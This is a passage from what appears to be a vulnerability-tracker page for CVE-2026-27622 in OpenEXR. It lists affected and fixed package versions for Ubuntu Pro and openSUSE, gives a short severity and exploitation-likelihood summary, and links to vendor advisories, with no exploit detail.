before 2.2.0-10ubuntu2.6+esm4, plus listed versions 2.2.0-1ubuntu32.2.0-7ubuntu12.2.0-9ubuntu12.2.0-10ubuntu22.2.0-10ubuntu2.1 Show 7 moreShow less2.2.0-10ubuntu2.22.2.0-10ubuntu2.32.2.0-10ubuntu2.42.2.0-10ubuntu2.62.2.0-10ubuntu2.6+esm12.2.0-10ubuntu2.6+esm22.2.0-10ubuntu2.6+esm3 |
2.2.0-10ubuntu2.6+esm4 |
openexrUbuntu:Pro:18.04:LTS |
before 2.2.0-11.1ubuntu1.9+esm1, plus listed versions 2.2.0-11ubuntu12.2.0-11.1ubuntu12.2.0-11.1ubuntu1.12.2.0-11.1ubuntu1.22.2.0-11.1ubuntu1.3 Show 5 moreShow less2.2.0-11.1ubuntu1.42.2.0-11.1ubuntu1.62.2.0-11.1ubuntu1.72.2.0-11.1ubuntu1.82.2.0-11.1ubuntu1.9 |
2.2.0-11.1ubuntu1.9+esm1 |
openexrUbuntu:Pro:20.04:LTS |
before 2.3.0-6ubuntu0.5+esm2, plus listed versions 2.2.1-4.1ubuntu12.3.0-62.3.0-6build12.3.0-6ubuntu0.12.3.0-6ubuntu0.22.3.0-6ubuntu0.32.3.0-6ubuntu0.52.3.0-6ubuntu0.5+esm1 |
2.3.0-6ubuntu0.5+esm2 |
openexrUbuntu:Pro:22.04:LTS |
before 2.5.7-1ubuntu0.1~esm2, plus listed versions 2.5.4-22.5.7-12.5.7-1ubuntu0.1~esm1 |
2.5.7-1ubuntu0.1~esm2 |
openexrUbuntu:Pro:24.04:LTS |
before 3.1.5-5.1ubuntu0.1~esm1, plus listed versions 3.1.5-5.13.1.5-5.1build13.1.5-5.1build23.1.5-5.1build3 |
3.1.5-5.1ubuntu0.1~esm1 |
openexrUbuntu:25.10 |
All versions, plus listed versions 3.1.13-2 |
None known |
openexrUbuntu:Pro:26.04:LTS |
before 3.1.13-2ubuntu0.26.04.1~esm1, plus listed versions 3.1.13-23.1.13-2build1 |
3.1.13-2ubuntu0.26.04.1~esm1 |
openexrUbuntu:Pro:16.04:LTS From an advisory covering 3 CVEs |
before 2.2.0-10ubuntu2.6+esm4, plus listed versions 2.2.0-1ubuntu32.2.0-7ubuntu12.2.0-9ubuntu12.2.0-10ubuntu22.2.0-10ubuntu2.1 Show 7 moreShow less2.2.0-10ubuntu2.22.2.0-10ubuntu2.32.2.0-10ubuntu2.42.2.0-10ubuntu2.62.2.0-10ubuntu2.6+esm12.2.0-10ubuntu2.6+esm22.2.0-10ubuntu2.6+esm3 |
2.2.0-10ubuntu2.6+esm4 |
openexrUbuntu:Pro:18.04:LTS From an advisory covering 3 CVEs |
before 2.2.0-11.1ubuntu1.9+esm1, plus listed versions 2.2.0-11ubuntu12.2.0-11.1ubuntu12.2.0-11.1ubuntu1.12.2.0-11.1ubuntu1.22.2.0-11.1ubuntu1.3 Show 5 moreShow less2.2.0-11.1ubuntu1.42.2.0-11.1ubuntu1.62.2.0-11.1ubuntu1.72.2.0-11.1ubuntu1.82.2.0-11.1ubuntu1.9 |
2.2.0-11.1ubuntu1.9+esm1 |
openexrUbuntu:Pro:20.04:LTS From an advisory covering 3 CVEs |
before 2.3.0-6ubuntu0.5+esm2, plus listed versions 2.2.1-4.1ubuntu12.3.0-62.3.0-6build12.3.0-6ubuntu0.12.3.0-6ubuntu0.22.3.0-6ubuntu0.32.3.0-6ubuntu0.52.3.0-6ubuntu0.5+esm1 |
2.3.0-6ubuntu0.5+esm2 |
openexrUbuntu:Pro:22.04:LTS From an advisory covering 3 CVEs |
before 2.5.7-1ubuntu0.1~esm2, plus listed versions 2.5.4-22.5.7-12.5.7-1ubuntu0.1~esm1 |
2.5.7-1ubuntu0.1~esm2 |
openexrUbuntu:Pro:24.04:LTS From an advisory covering 3 CVEs |
before 3.1.5-5.1ubuntu0.1~esm1, plus listed versions 3.1.5-5.13.1.5-5.1build13.1.5-5.1build23.1.5-5.1build3 |
3.1.5-5.1ubuntu0.1~esm1 |
openexrUbuntu:Pro:26.04:LTS From an advisory covering 3 CVEs |
before 3.1.13-2ubuntu0.26.04.1~esm1, plus listed versions 3.1.13-23.1.13-2build1 |
3.1.13-2ubuntu0.26.04.1~esm1 |
openexropenSUSE:Tumbleweed |
before 3.4.6-1.1 | 3.4.6-1.1 |
openexropenSUSE:Leap 16.0 |
before 3.2.2-160000.5.1 | 3.2.2-160000.5.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-27622 is a high vulnerability (CVSS 8.4) in Academysoftwarefoundation Openexr, published March 2, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. Fixed in openexr 3.2.6.
References
github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-cr4v-6jm6-4963
access.redhat.com/security/cve/CVE-2026-27622
bugzilla.redhat.com/show_bug.cgi?id=2444251
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27622.json
access.redhat.com/errata/RHSA-2026:7678
access.redhat.com/errata/RHSA-2026:7682
Show 61 moreShow less
access.redhat.com/errata/RHSA-2026:8863
access.redhat.com/errata/RHSA-2026:12340
access.redhat.com/errata/RHSA-2026:12341
access.redhat.com/errata/RHSA-2026:12339
access.redhat.com/errata/RHSA-2026:12338
access.redhat.com/errata/RHSA-2026:8870
access.redhat.com/errata/RHSA-2026:8869
access.redhat.com/errata/RHSA-2026:8871
access.redhat.com/errata/RHSA-2026:8872
access.redhat.com/errata/RHSA-2026:8888
access.redhat.com/errata/RHSA-2026:16008
access.redhat.com/errata/RHSA-2026:16030
access.redhat.com/errata/RHSA-2026:16009
access.redhat.com/errata/RHSA-2026:16174
nvd.nist.gov/vuln/detail/CVE-2026-27622
github.com/advisories/GHSA-cr4v-6jm6-4963
bugzilla.redhat.com/2444251
errata.almalinux.org/10/ALSA-2026-7682.html
errata.almalinux.org/8/ALSA-2026-8863.html
errata.almalinux.org/9/ALSA-2026-8888.html
errata.tuxcare.com/els_os/tuxcare9.6esu/CLSA-2026-1773831456.html
errata.tuxcare.com/els_os/almalinux9.2esu/CLSA-2026-1774604404.html
errata.tuxcare.com/els_os/ubuntu18.04els/CLSA-2026-1787317469.html
github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27622.json
security-tracker.debian.org/tracker/CVE-2026-27622
github.com/AcademySoftwareFoundation/openexr
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1616
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1617
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1618
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1619
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1620
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1685
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1686
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1687
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1688
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1689
pypi.org/project/openexr
access.redhat.com/security/updates/classification
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_12338.json
cve.org/CVERecord?id=CVE-2026-27622
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_12339.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_12340.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_12341.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_7678.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_7682.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_8863.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_8869.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_8870.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_8871.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_8872.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_8888.json
errata.rockylinux.org/RLSA-2026:7682
errata.rockylinux.org/RLSA-2026:8863
errata.rockylinux.org/RLSA-2026:8888
suse.com/support/update/announcement/2026/suse-su-202620936-1
bugzilla.suse.com/1259177
suse.com/security/cve/CVE-2026-27622
ubuntu.com/security/CVE-2026-27622
ubuntu.com/security/notices/USN-8259-1
ubuntu.com/security/CVE-2026-34380
ubuntu.com/security/CVE-2026-34588
Left out here: the rest of 3 source descriptions. The JSON record has them.